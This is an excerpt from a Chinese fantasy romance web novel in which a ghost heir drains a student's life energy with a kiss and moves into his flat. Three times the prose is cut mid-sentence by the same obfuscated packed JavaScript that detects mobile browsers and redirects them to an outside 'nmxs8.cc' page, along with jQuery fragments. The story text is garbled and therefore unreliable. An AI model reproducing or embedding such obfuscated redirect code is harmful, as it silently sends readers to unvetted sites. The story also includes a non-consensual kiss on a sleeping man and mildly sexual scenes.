《兄弟你头掉了》 1. 辣椒炒肉 江城大学,偏僻昏暗的角落。 原本平静的空气如同遭受烈阳炙烤,形成翻滚的波浪,不一会,硬生生撕扯开一道手掌高的口子,得益于隐匿在夜色之中才没被人发现。 裂缝逐渐扩大,从里散发出一抹白光,似有什么想要挤出来。当它出到一半时,光芒开始剧烈闪烁,像是在挣扎,又像是在积蓄力量冲破阻碍。 几次尝试无果后,竟幻化出两条婴幼儿般大小的手,紧紧扒住裂缝的边缘,用力地向外拉扯。 咕咚,一颗白色光球从半空滚落到地上,顿时将整个角落照得宛若白昼。 几秒后,光球甩了甩双手,又分化出两条小腿,爬起来拍掉沾到身上的灰土和落叶,扫视了一圈周围陌生至极的环境,呆呆地愣在原地。 “这题为什么画辅助线构成三角形?”伴随着人声,两名刚下晚自习的男生朝这边走了过来。 光球晃了一下身子,匆忙躲进花圃里,利用灌木的枝叶掩盖自身光芒。 “这不很明显嘛,三角形具有稳定性啊。”一人贱兮兮笑说。 另一人翻了他个白眼,“去你丫的稳定性,跟我这题八竿子打不着。” 脚步声渐远,花圃里的灌木动了动。光球将方才砸得微瘪的身体挤成了具有稳定性的三角形,却在瞥见又一名路人往这边过来时马上安静下来。 青年穿着简约的牛仔裤配T恤,身形颀长,利落的黑发自然垂落,遮盖住一部分额尖,五官立挺,唇色却很浅。 “喂?妈,什么事?”一开口,嗓音清冷,带有几分疲倦:“刚刚在实验室,手机开了静音没接到您的电话。” 温婉的女音模糊地从手机中溢出:“其实也没什么重要的事,就想问问你房子住得还习惯吗?有问题的话就跟爸妈说,再给你换。” 途径前面的花圃时,青年没有任何预兆地停了下来,盯着面前平平无奇的灌木丛看了四五秒,总觉得有哪里和平常不太一样。 光球猝不及防对上那双冰冷的黑眸,身躯一颤,赶忙又往旁边揪了两边叶子遮盖住双眼。 “……房子没问题,到学校也挺方便的,不用换。”青年说,转过身后继续往前走,似乎并未将方才感受到的异样放在心上。 “那就好。”女人继续问:“对了小翟,我给你寄的安神药你收到了吗?最近睡眠质量怎么样?” “收到了。” 闻翟一边回答她的问题,一边扫脸出了校门,向着居民区的一栋单元楼走去。抵达家门口时,这通电话也挂断结束。 - 光球一直到闻翟的脚步声彻底消失才从灌木丛里出来,为了防止身上的亮光引起路人注意,往地上一躺,滚满了落叶,随后摇摇晃晃地飞了出去。 它寻着空气里灵魂的气息,顺利找到了对应楼栋和楼层,绕着转一圈,见卧室的窗户大开着通风,溜了进来,躲进衣柜里。 指纹密码输入正确,闻翟推开门在玄关处换好拖鞋,先到厨房倒了一杯水喝,接着进入卧室。 九月份,江城正是炎热的时候,哪怕坐着不动,皮肤表面的毛孔也会一个劲地往外冒汗,等到起身,裤子早已粘在屁股上,湿黏黏的,很不舒服。 闻翟开好空调,习惯性到家后先洗个澡再去忙其余事情。 他的手握上了柜门,躲在里面的光球察觉靠近,焦急得直跺脚,瞥见用衣架挂在最边上的衣服,立刻顺着袖口往里钻。 前半部分进入得很顺利,却由于三角形的体形,卡住了后半部分,两条腿在外边狂蹬都无济于事。 一道推力施加在了木板上,房间里的灯光随着柜门移动渐渐泄进来。光球马上变出双手,两巴掌对着屁股扇去,几乎卡着柜门完全打开的最后半秒成功钻进了衣服里,自身亮光遮得严严实实。 闻翟没有在衣柜前停留太久,拿上睡衣和内裤去了浴室,十五分钟完成所有洗漱出来,进入隔壁书房,打开笔记本电脑整理完今天的实验数据,给老师发了一份过去,耐心等待回复。 关闭电源,合上显示屏,已是十一点。闻翟回到卧室,给手机连上充电线,熄了灯到床上躺下休息。 隔绝在窗外的空调外机轰隆隆地运转着,窗内却一室静谧。光球在衣柜里多待了三个小时,确认外面的人已经睡着,这才小心翼翼地从柜门边缘挤出来。 周身的光芒黯淡下去,光球的身躯发生了剧烈变化,轮廓扭曲、拉长,待屋内归于黑暗,一道人形赫然显现出来。 他的身体介于虚实之间,乌发如缎,发梢在微芒中隐隐泛着光泽,随意地披散在身后,衬得皮肤更为雪白,精雕细琢神韵独超,此刻正用那双浅褐色的眸子打量着床上的青年。 长得好像,身上的气息也没错,就是那个人的转世。 江听雨站在屋中央足有三分钟,空调的挡风板开始向下倾斜,丝丝缕缕的冷风吹得他忍不住打了个寒颤,身形也跟着陡然晃了一下。 不能再拖了。 他的表情微变,下一秒忙爬上了床,跨坐到青年身上,细长的睫毛跟着眼睛微微下敛。 唔……该怎么做来着? 好像是从上面吸的吧? 江听雨茫然地挠了下脸,他没做过这种事,要是对方反抗怎么办,还是找个东西先砸晕会保险一点? 犹豫之际,身下本就睡得不安稳的人眼皮动了动,如同觉醒的猛兽,倏然睁眼,一只手用力抓住了他的大腿。 他的掌心好烫,抓得好紧,五指陷进微凉的腿肉里,很快就压出了印子。江听雨不舒服地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380429|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙起眉头,旋即第二次对上那双冷冰冰的眼睛,没有丝毫情感,仿佛极地里永不融化的雪。 “你是谁?”低沉的声线从青年薄唇中吐出,还有些许尚未清醒的沙哑,周身的威压却存在感极强。“怎么会出现在这里。” 江听雨没料到他会中途突然醒过来,顾不得其他,将一头及腰长发快速挽到耳后,“我的神魂快撑不住了,先给我点阳气。” 手下触感比以往任何一场梦境都要真实,闻翟比刚才更清醒了些,“什么阳气?” 江听雨却不解释,双手搂住他的脖子俯下身,直接吻住了他,动作青涩且笨拙,不得章法,好半天吸不出一口阳气,反倒先给自己累得气喘吁吁。 “你能不能张一下嘴啊。”江听雨说,白皙的身子开始呈现出一种不正常的透明,仿佛随时可能化为泡影消失。 闻翟原本还怔愣于这魔幻的一切中,闻声似是如梦初醒,抓着他大腿的力道收得更紧,要将人往床下拽。 “给我下去。”他的声音更冷了。 江听雨怎么可能放弃这根救命稻草,他拽,他就抱得更紧,最后整个胸膛都贴了上去,也不指望对方会配合了,勾着他的脖子就是一通猛吸,还真叫他成功了。 察觉到有截湿软的部分挤入,闻翟的脸色顿时沉了下来,下巴到下颚绷出一道有些凌厉的线条,看上去很是火大。 房间里响起细微的水声,一股难言的热意从江听雨趴伏的地方迅速蔓延开来,起初只是微微发烫,转眼间就犹如有一团火在体内熊熊燃烧。 空调吹出的冷风拂过床面,却无法带走丝毫燥热。嗓子眼像是被一团棉花堵住,吸走了所有水分,干渴发紧。 不待闻翟做出反抗,江听雨搂他搂得更紧,有什么被从他身体深处一点一点抽离,像是没了支撑机体活动的气力,令他大脑眩晕,视线也变得模糊起来。 至纯的阳气沿着唇舌进入了嘴巴,江听雨急促地吞咽了两下,皮肤逐渐有了血色,那若有若无的透明质感慢慢褪去,变得和普通人一样真实而富有生机。 少顷,江听雨直起身舔了舔唇,又抬手擦掉下巴上沾着的口水,稳住了神魂再去看闻翟,却发现对方不知何时闭上双眼,安详地“睡”了过去。 “吸太多了么。”江听雨喃喃道,伸出一根手指放在青年鼻翼下方。 温热的气息均匀地呼出,扫过手指和手背,连带着他整只手都隐约发痒。没一会他就迅速缩回来,搓了搓那片皮肤。 还好,还有口气就行。 只吸一次可不够他用的。 江听雨指尖点上他的额心,一抹微弱的神力缓缓洇没进闻翟体内。 “这样你就是我一只鬼的人了。”江听雨满意地笑了笑,从青年身上下来。 2. 孜然牛肉 冥界—— 漆黑的苍穹无边无际,一眼望不到头,停滞不前的黄泉分支水中罗刹横行,犹如血肉筑起的人形防卫,包围着中央巍峨绮丽的宫殿。 偌大的门扉上镶满了黑白相间的菱状水晶,倘若凑近了仔细看,便会发现这些并非寻常装饰物,而是一颗颗拳头大小的“眼球”,不时根据附近的动静敏锐转动,仿佛具有生命一般。 大殿通过连廊直抵寝宫,四周开满了血色欲滴的彼岸花。两名无面内侍踩着既定的时辰踏入,低着头,毕恭毕敬地站在榻前。 “殿下,该动身更衣了。” 一只白皙的手伸出来,拨开帘子,神色恹恹地打了个呵欠,随后在两名内侍的服侍下穿戴整齐,前往大殿。 众鬼和头发花白的老者已恭候在此。 “天道算出上一任冥神即将退位,按照规定,殿下需在这浑天炉中抽取一劫,待历劫成功归来之际,便可顺利继任。”老者手中拄着拐杖,佝偻着腰道。 被称作“殿下”的男子样貌年轻,微微颔首,遵循天道定下的规则,上前将手置于浑天炉中,不过三息,抽出一支玉签。其上有字,在众目睽睽之下浮于半空之中,引起一片哗然。 “怎么会是情劫!” “殿下居然抽中了最难的一劫!” - 翌日早上七点,床头柜上的闹钟准时响起,打破清晨的宁静。 闻翟不是个会贪睡的人,今天却是在闹钟响第二遍时才醒,伸手关掉后刚要从床上坐起来,蓦然察觉身边躺了什么温热的东西。 他扭过头一看,一张精致且陌生的脸蛋撞入眼帘。 对方离他很近,熟睡的样子看起来毫无戒备,很是放松,嘴唇粉嫩而饱满,跟随呼吸小弧度地翕张。面部干净几近完美,是那种让人一不小心就会陷进去的好看。 意识到昨晚上不是在做梦的闻翟眉头越蹙越深。对方一条胳膊还搭在他身上,好不容易扯开,脚又压了上来,不偏不倚压在某个一到早晨就格外容易精神的地方,并无意识地蹭了蹭。 睡相真差。 闻翟脸色难看至极,仿佛黑云压城,深吸一口气后猛地掀开了被子。 大量冷风陡然灌入,江听雨也被他闹醒,坐起来后揉了揉惺忪的双眼,明显还很懵,分不清在哪,转身又要去抱被子。 “阎爷爷,我再睡一刻钟就起……”他声音含糊道。 爷爷? 闻翟握着他的手腕拦住了他,感受到不一样的皮肤触感,又迅速松开了手,扫了眼沾上另一个人体表细菌的掌心。 江听雨对他眼底闪过的嫌弃无所察觉,回过头,清醒了点,发出很轻的不解:“嗯?” 闻翟收回视线,落在他身上。 对方的长相再看第二眼依旧漂亮,一头乌黑的长发轻柔垂落在身侧,腰身很细,肌肤白腻,看不出半点瑕疵,如初雪覆盖下的瓷器。 不过这都不是重点。 重点是对方压根就没穿衣服,就这么在他床上和他睡了一晚上。以细菌每二十到三十分钟分裂一次的速度,这一晚上就能滋生上亿。 “你好,我叫江听雨,今后我要住在这里。”江听雨已经清醒,说完感觉这话有点像恶霸,几秒后又补了一句:“可以吗?” 闻翟语气冷漠,质问:“凭什么?” 江听雨弯唇一笑,眼底跟着荡漾开点点星光,抬手摸上自己的腹部,自信搬出想了一晚上的理由:“凭我肚子里这个。” 阎爷爷曾教导他,为君者,有两类人最不能随意抛弃,一是父母,二是妻儿。他已经两千多岁了,跟这位兄台隔了太多辈份,既然当不了父母,那就从后者入手。 闻翟瞥见他的动作,“恶性肿瘤?” 江听雨歪了歪头,没明白,进一步解释自己的意思:“我怀了你的孩子。” “……”话音落下,房间里陷入了死一般的寂静。 闻翟对他的智商产生了怀疑:“你是认真的?” 江听雨郑重点头。 这年头招摇撞骗也不知道扯个靠谱点的借口,闻翟气笑,道:“第一,我根本就不认识你,第二,你是男的,在生物学上连子宫都没有,究竟怎么怀上的?” 再多的言语在事实面前都显得无力苍白,江听雨直接抓过他的手,放在自己微微隆起的小腹上,说:“你摸,我们的孩子。” “就在这里面。” 扁平的上半身令他看起来格外清瘦,好似轻轻一折就能断成两段。手下的皮肤比想象中更光滑,像刚剥了壳的鸡蛋,闻翟出现短暂的晃神,不敢相信这么细腻的皮肤会来自一个男生。 对方甚至连条内裤都没穿,闻翟的手被迫覆在他腹上,掌末不可避免碰到一点他玉似的口口,是和肚皮完全不一样的柔软。 江听雨见他不说话,以为有希望,笑说:“所以我可以留下来吗?” 他需要阳气,而留在闻翟身边,无论于情还是于理,都明显是一个最好的选择。当然,他也不会让闻翟白付出,等他修补好神魂,会给出对应的回报。 只是现在还不能说,一方面他没想好给什么,另一方面怕对方狮子大开口。 “不可以。”闻翟没上套,抽回手从床上下来,理智尚在: “你到底是谁,怎么进的我家。” 江听雨如实道:“我都说了啊,我叫江听雨。身为下一任冥神继承人,进入你家对我来说并不难。” 什么冥神继承人,神经继承人还差不多。 闻翟清点了一下房子里的贵重物品,没有丢失,猜测江听雨不是为了钱财而来,大概是住在这附近的居民,图色的。但看在他脑子不正常的份上,闻翟懒得再浪费时间跟他计较,毕竟这样的人就算送到法庭上也很难定罪。 “趁我还有耐心,限你五分钟内穿上衣服从我房子里出去。”否则他也不介意报警,至少私闯民宅的事情警察还是会出手。 “不行,我还不能离开。”江听雨摇了下头,说:“我的神魂受损了,需要你的阳气帮忙修复。” 这是闻翟第二次从江听雨口中听到“阳气”这个词,第一次是昨晚,对方说完便不由分说地亲了他,而他居然会因为对方一个吻就晕过去。 闻翟笃定自己的身体素质没问题,那么问题只可能是出在江听雨身上,嘴里可能含了什么抑制神经中枢的气体。 精神病患者眼里的世界和想法不是他能轻易改变的,对于江听雨说出来的话,闻翟连一个标点符号都不信,没了刚才的好脾气和耐心,却在目光划过他赤/裸的上身时眼皮一跳。 不能刺激病人。他克制着情绪,问:“你衣服呢?” “在轮回之境里面腐蚀掉了。”江听雨说,毕竟过去了一千余年,他穿的衣服没有长寿的能力。 闻翟通过大脑自动处理并分析了他的话——进来之前就扔掉了。 这栋楼不止他一家住户,要是江听雨大声闹腾引来邻居,到时候被人撞见他将一个裸男丢出家门,他就算跳进黄河也洗不清。 闻翟拉开衣柜,准备依据江听雨的身形先找一套他能穿上的,就先瞥见了零零散散数十片已经枯死的落叶。 是谁带进来的不言而喻。闻翟需要一个解释:“这几片叶子也是你带来的?” 江听雨“唔”了一声,难得露出窘然,说:“可能是在外面的时候没抖干净,不小心带了进来。” 原来早就藏在了他家衣柜里,闻翟心想,需要消毒的地方又多一个。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380430|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听雨从床上爬下来,到他身边:“我可以帮你拿出来的。” 闻翟却哐地合上了柜门,“别乱动我家里的东西。”接着将手里的一套衣服塞给他。 “穿上。” 江听雨看了看他,又看了看手里衣服,迟迟没动,嘴角动动,似乎在斟酌着怎么开口。 闻翟昵了他一眼:“没有内裤。” 他容忍江听雨在他床上睡了一夜已是极限,不可能再让对方穿走自己的贴身衣物。 “我不会穿这个。”江听雨这才道出缘由,“我之前在冥殿都有专门的侍女伺候我更衣。” 而且这个衣服和他一千年前穿的款式也不同,袖口和裤腿都好短,想都不用想,会有很多皮肤暴露在外面。 他很保守的,不是个随便的鬼。 现在是夏季,闻翟给他的自然是一套夏装,但江听雨没有开口提及衣服款式的问题,闻翟的注意力也只在他的大少爷脾气上。 “我不是你的侍女,更没有义务伺候你穿衣服。你要不肯穿,我也不介意就这么将你扔出去。” 江听雨敏锐地捕捉到重点:“那我自己穿的话能不扔出去吗?” “不能。” 江听雨瘪了瘪嘴,将衣服往地上一扔,溜回床上:“那我不穿了。” 闻翟一言不发,却由不得他为所欲为,精准捉住他的脚踝,将人拖了回来,双膝极快地顶进他腿间,拿着衣服就往他身上套。 他不得不承认,江听雨拥有男女见了都会喜欢的外貌和身材,若今天江听雨闯进的是别人家,那人大抵会顺势睡了他。 和一个傻子交往,哪怕某天玩腻了提出分手,被吃干抹净的傻子也只会觉得是自己哪里做得不够好,根本不知道什么是侵犯。 但可惜,他不喜欢傻子,也不是同性恋,更没有那么缺德。 “我不穿,我不穿!”江听雨皮肤滑得像泥鳅,在他身下扭来扭去,叫他差点没摁住,嘴里也叫得厉害:“你不能这样欺负我和宝宝,我们都会讨厌你的!” 闻翟蓦地一愣,险些分不清是因为那声“宝宝”,还是因为那句“我们都会讨厌你”,但很快回过神,江听雨只是个跟他没有任何关系的人。 他的衣服穿在江听雨身上显得大了,领口位置松松垮垮的,露出轮廓分明的锁骨,两侧靠肩头勉强支持着,好像随手一拽就能将衣服从他身上扯下来。腿很细,大腿才只有闻翟的三分之二宽,运动短裤愣是被他穿出了一种睡裤的感觉,膝盖曲起来时连腿根都能看见,不知何时被磨得粉红。 江听雨那头长发在床上蹭得乱糟糟的,额前倔犟地翘着几绺睡觉时压出来的短毛。这都没有掉下来,闻翟排除了是假发的可能性。 留着长发,皮肤很好,又这么敏感,闻翟不禁有些怀疑他是不是哪家富人包养的傻子情人,因为受不了或是贪玩才跑出来。 江听雨无从知晓自己堂堂冥界少君、冥神继承人,落到对方那里竟变成了一个傻子情人的形象。他晃了晃腿,低头的时候那几绺呆毛跟着前倾,看了一眼并不合身的衣服,抬手就要脱下来。 闻翟洞察他的意图,淡声开口:“你要是敢脱,我立刻就报警让人过来。” 这个时代的许多东西都与江听雨的认知存在差异,他不懂何为“报警”,但听得懂对方在用摇人威胁他。 江听雨的脸顿时和手一起垮了下去,表情像是植物大战僵尸里面的弹簧豆,是这个样子的——“⊙^⊙”。 要不是他现在神魂有损施展不出什么法术,他肯定要将闻翟绑起来困在床上,到时候他想吸多少就吸多少,想怎么吸就怎么吸。 “从床上下来。” “别让我说第二遍。” “……哦。” 3. 宫保鸡丁 闻翟还是将江听雨扔出了家门。 好在他今天早上没课,但依旧浪费了将近两个小时在换洗床被、房子消毒上,用掉了四瓶酒精喷雾。 他到现在都没想明白江听雨究竟是怎么溜进来的,门口的电子锁只录入了他一个人的指纹,密码也只有他和爸妈知道。 翻窗更加不可能,这里是二十一楼,稍有不慎就能预定明日头条。 但他也知道从江听雨嘴里问不出实话,对方只会又跟他扯一些冥神、阳气之类玄幻的东西,放在二十一世纪根本不现实。 收拾干净房子,闻翟准备下楼扔垃圾,一开门,就见江听雨竟然没走,站在他家门口前的窗口边。 身上款式普通的衣服依然无法淹没他那张姣好的面容,一截侧颈露在外边,半边脸颊沐浴在阳光中,连细小的皮肤绒毛都洋溢着极其朦胧的光波。 他站在风口的位置,有股似有似无的淡香飘了过来,闻翟提着垃圾袋的手指莫名发紧。 江听雨其实听到了闻翟开门的动静,但他的生活里又不止吸阳气这一件事,现在还有比闻翟更重要的东西在等着他。 他将窗户彻底打开,双手撑着窗框,往前一蹬便跃了上去,整个人坐在窗口,身体微微前倾,好似随时会跟着一阵风掉下去。 事实上,他确实有跳下去的想法。他不会用电梯,也不想走二十多层的楼梯,既然闻翟不让他进屋,那他就跳下去好了。 闻翟目睹他的动作,瞳孔骤然一震,脸色瞬间变得铁青,扔掉手上垃圾袋,快步上前将人从上面拽了下来,“你在做什么!” 江听雨今天要是真从这里跳下去,警方第一个要调查的就是他。 他拖拽的力气太大了,江听雨从窗子上掉下来后踉跄半步,直接摔到了他的怀里,后脑勺在他硬邦邦的胸膛上磕了一下,感觉好多星星涌了过来,顿时头晕目眩往下滑。 闻翟见自己一松手他就站不住,双手先大脑一步将他提拎了起来,离得近了,他身上那股冷香更浓郁,从发丝到颈子都是,还穿着他的衣服。 “你刚才想做什么。”闻翟问了第二遍。 江听雨还没从方才的懵劲中缓过来,过了片刻才开口:“我饿了……” 闻翟冷笑:“所以爬到窗户上去喝西北风?顺便再摔死自己将我升级为重点嫌疑人?” 江听雨被他说得噎了一下,他要怎么跟闻翟解释鬼是会飞的呢? 可是对方连他的身份都不相信。 恰在这时,一阵突兀的咕咕声打破了两人之间的沉默。 江听雨眨了下眼,无辜道:“我真的饿了。” 他是只还没辟谷的鬼,从昨晚到现在,除了闻翟的口水,连滴水都没喝到。 “不信你可以摸。” “摸哪?” “摸我的肚子啊。”江听雨语气里半是委屈半是控诉,“再吃不到饭,我和宝宝就要饿死了。到时候我们会一起变成阿飘永远地离开,留你一个人在人间孤独终老。” “……”闻翟的太阳穴跳了两下,不明白他从哪里学来的这些讹人话术,还什么“宝宝”,江听雨能无性繁殖不成?就算真能,那也不会是他的孩子。 而且他看起来像是很好骗的怨大种吗? 闻翟低下眼,嘴唇动动,却对上江听雨那双泛起泪光的浅眸。他的眼尾被风吹得有些发红,像是一只刚被训斥过的小动物,令人生不起气来。 刹那间,仿佛有只手使劲扼了一下闻翟的咽喉,将原本组织好的语言悉数打碎、重新拼凑。 “……想吃什么。”他听到自己这样说。 - “带手机了吗?” “那是什么?” 闻翟没解释,换了个问法:“身上有钱吗?” “没有。”这回江听雨给出了回答,声音听起来要哭不哭的,还有几分想通什么后的不可置信,“我好像……变成了一只穷鬼。” 冥界的珠宝都是阴物,就算他有法力打开传送门去取过来,可能还没来得及换成钱,就会先因接触到阳光和人间的人气而化为齑粉,不像他有神魂护体,不怕太阳和人。 对他撒糯米也是没用的。 “……”闻翟觉得自己的智商真是被江听雨拉低了,否则怎么会问出这两个问题。 江听雨身上有什么,没有什么,他不是最清楚吗?早上衣服都是他帮忙穿的,全身上下干净得连毛都没有多少。 闻翟带他从电梯下去,瞥了一眼他往前掉的领子,胸口都快露出来,淡声道:“衣服穿好。” 江听雨感觉自己很冤,嘟哝道:“明明是你的衣服太大了,我都说了不想穿你非要给我穿,下面磨得一点都不舒服。” 江听雨在床上的时候挣扎得很厉害,四肢全部在乱挥,闻翟不得不多费了点力气控制住他。也不知道他的皮肤是怎么长的,不仅看起来像刚剥壳的鸡蛋,碰起来也跟鸡蛋一样脆弱,稍微一掐就能留下很长时间不消的红印。 任何一点声音在封闭空间内都会被放大数倍。正值工作党上班、学生党上课的时间段,电梯里不止他们两人,听见这段对话的居民下意识转头,瞧见江听雨大腿和胳膊上引人遐想的痕迹,瞬间爆发出连上数学课都没有的秒懂能力。 闻翟:“……” 江听雨:“⊙.⊙?” “他们为什么都在看我们?是发现你对我做的事情了吗?”江听雨偏过脸不解地问,却换来闻翟一句隐忍的—— “闭嘴。” 其余人意识到偷看被发现,纷纷很忙地移开了视线,有朋友的找朋友发消息,没朋友的找公众号发消息,电梯门一开便快步走了出去。 两人是最后出电梯的,扔掉垃圾,闻翟从口袋里取出一片独立包装的酒精棉,擦干净双手,警告道:“在外面不许乱说话,至少我在你旁边的时候最好别开口。” 不就是装哑巴吗,江听雨点头,没什么难的。 闻翟继续说:“我给你买早餐,拿了就别再跟着我。” 要求好多啊,但心胸大度的鬼愿意包容无知的凡人,还是点了点头:“好。” 他不跟着闻翟,他只是住在闻翟家里,所以回自己家有什么问题吗? 闻翟领他去了一家常去的早餐店,一路上江听雨都遵守约定没有开口说话,但注意力也明显不在闻翟身上,而是打量着这个已与千年前发生天翻地覆变化的世界,好奇与惊讶都溢于面上。 他有很多想问的,但看着闻翟的背影,都忍了下来。 “有没有忌口?” 话音落下良久,闻翟都没听见传来回复,一转身,才发现江听雨压根就没上来,落在后面好大一截,一会摸摸路灯,一会停下来观察电动车,头转得跟陀螺似的,像是刚进入城市遇到一堆从没见过的新奇玩意。 闻翟摸出手机看了眼时间,不算很急,等了三分钟,催促他跟上来。 到了店内,江听雨仍然没说自己的饮食喜好,闻翟直接给他点了一碗葱花鸡蛋面,自己则买了一份小笼包打包带走。 “钱已经付了,你自己坐在这吃。” 江听雨在桌前坐下,双手自然搭放在膝上,只点头不说话。 闻翟带着早餐离开,刚出到店外,想起江听雨一路上东张西望的模样,又折返回来,找老板换了两百块现金给他,算是仁至义尽。 江听雨捏着那两张现金出了会神,意识到这可能就是现代人在市面上流通的货币,就是不知道能使用多少次,他对两百块钱没有概念。 “葱花鸡蛋面来咯。”老板是个系着粉色围裙、脸上有道伤疤的中年男人,端着热气腾腾的面条上来,“旁边有配菜和调料可以自己加。” 江听雨将其中一张纸币递了出去。 老板先是一愣,后猜测:“小费?” 江听雨本想用点头回答,但很快想起闻翟已经不在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380431|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,遂开口:“嗯,谢谢你给我做这碗面条。” 比把他赶出来的坏家伙好多了。 “嗐不用,面钱已经付过了。”老板拒绝了他的好意,笑呵呵道:“小本生意都不弄打赏那套,这钱又是刚刚那个小同学才换给你的,说明你后面肯定还有用得到它的地方,就别在我这乱花了。” 江听雨见他态度坚定,不再多言,又说了句“谢谢”,拿过筷子开始吃碗里的面条。 - 闻翟没直接回校外的房子,去了趟实验室,临近中午的时候收到祁萧发来的信息,约他一起到食堂吃饭。 “这里这里!”祁萧见他出现,隔着一段距离就开始挥手提醒。 今天是本学期的第八天,祁萧暑假跟着父母在国外旅游,便以家里有事这种模棱两可的借口申请了延迟返校,直至昨天晚上才拎着行李到宿舍。 祁萧想去揽他的肩膀,却被闻翟无声地昵了一眼手,立刻醍醐灌顶地放下,“行行行,知道你是个洁癖佬,我不碰你。” “都说新学期新气象,你的洁癖居然还没有改掉。” 闻翟缄口不言,毕竟某人爱刷擦边视频的爱好一如既往,昨天在高铁上都还在跟他分享。 祁萧约他无非两种情况,要么跟他倒苦水,要么就是没人陪,又不想一个人坐在那里吃饭。 用他的原话来说,就是——“一个人吃饭显得太孤儿了”。 两人进入食堂,各自打了一份饭菜,找了个位置坐下。 “我一直以为你说要外宿的话是随便说说的,毕竟校外的房子那么贵,哪有住宿舍煮起来划算。”祁萧吃了口菜继续说:“结果我昨晚到宿舍一看,嘿,你的东西居然真全清走了。” 外宿的事闻翟上学期末就已经在跟辅导员申请了,但他不是张扬的性格,不会就某件事反复提起,以至于让祁萧觉得他只是随口一说。 不过这件事他从头到尾都没有刻意隐瞒过,搬出宿舍也并非临时起意的突然决定。 “你为啥要搬出去住啊?跟我们相处得不自在还是因为洁癖?” 这话祁萧要是去问别人,对方兴许会为了维持情面而编撰一个其它理由,但祁萧知道闻翟不会在这种事上说谎。 闻翟虽然闷骚,但说话从来不拐弯抹角,喜欢就是喜欢,不喜欢就是不喜欢,不会铺垫废话。 “跟你们没关系,是我个人的原因。”闻翟说:“我不习惯和人同住,独居的环境也更适合我备考。” 他从初中到高中都没选择住校,父母帮他办理了走读卡,那时候就在本地上学,还可以每天回家住,但到大学就不行了。 父母在G市工作,不可能跟着他来江城这边买房,便先让他尝试住了两年的校,直至得知他的失眠情况加重,立刻帮他租了校外的房子。 所以他说的确实是实话,不是因为宿舍矛盾或是对谁有意见才搬出去,而且以他目前的情况,继续住在宿舍也会给室友带来压力。 祁萧信了他,但还是就他最后半句话忍不住吐槽:“还得是你们学霸强,提前一年半就开始备战考研,完全不给我们学渣一条活路。” “一年半不够。” “哪里不够?” 闻翟轻轻抬眼:“你应该从大一开始备考。” 祁萧起初没听出来是什么意思,问他为什么,随后在对方意味不明的眼神中顿悟。 “操啊!”祁萧怒极反笑道:“闭嘴吧好吗。” 闻翟果然没再搭理他,桌面的手机响了一下,是实验室的师姐给他发来的消息。 【师姐:师弟,我看了你发给我的实验结果,后面几个样感觉像能跑开,你下午可以延长一下跑胶时间试试,不行的话我们再分析原因。】 闻翟回复了一个“好”。 用完午餐,两人到餐具回收处放碗筷。祁萧的鼻子嗅了嗅,突然道:“你身上喷香水了?” “好香啊。” 4. 麻辣香锅 江听雨放下连汤底都喝得一干二净的碗,舔了舔嘴唇,从早餐店离开后准备原路返回。 车辆川流不息,路上随处可见匆忙的身影。江听雨虽然不怕阳光和人,但他此前一直生活在冥界,那是一个终年昏暗、没有活人的地方,所以刚来这边难免不太适应,尽量往人少的小道走。 依据今早闻翟对他的排斥程度和不愿意配合来看,下一次吸阳气应该会变得很困难。法力也不能频繁使用,若是超出承受红线,会加速神魂的碎裂速度,到那时就真的是灰飞烟灭了。 有没有什么办法能让对方心甘情愿呢? 江听雨心里装着事,走在路上就像电脑设置好的固定程序,不会因为周围发生的事而被分散注意力,在抵达目的地前更不会停下。 “兄弟!兄弟!” 少年在后面接连叫了他三次,见对方始终没有反应,旁若无人地越走越远,只得捡起地面上的零部件,小跑着追了上来。 “兄弟,你头掉了。”少年穿着一身休闲装,剪着学校不允许过眉的寸头短发,物归原主。 江听雨愣了愣,大脑和身体像是终于连接上信号,被少年捧在手上的头嘴唇动动,说:“谢谢。”然后当着对方的面将零件安装了回去。 少年完全没料到这一操作,睁着的双眼不断放大,却不是流露出惊恐的情绪,而是激动,说:“好酷!你这是在玩cosplay吗?” “你真正的头在哪个位置?” 江听雨不明白什么是扣死普雷,只能捡着他后面那个问题回答,向上指了指刚安回去的脑袋,说:“我的头就在这里。” 少年捡起这颗头时因为急于提醒对方掉了东西,没有仔细观察过,只看清江听雨脖子上切面平整,蒙着一层白光,而非电视上被砍了头后的血腥画面,便猜测这是通过某些方式刻意处理过的。 此刻顺着江听雨的提醒再看,才发现这颗头不仅会眨眼睛,还会张嘴发声。 太牛逼了! 他丝毫没有怀疑江听雨的话有什么不对,只当对方正在用心扮演角色,再一次发出惊叹:“老师你好尽业。” 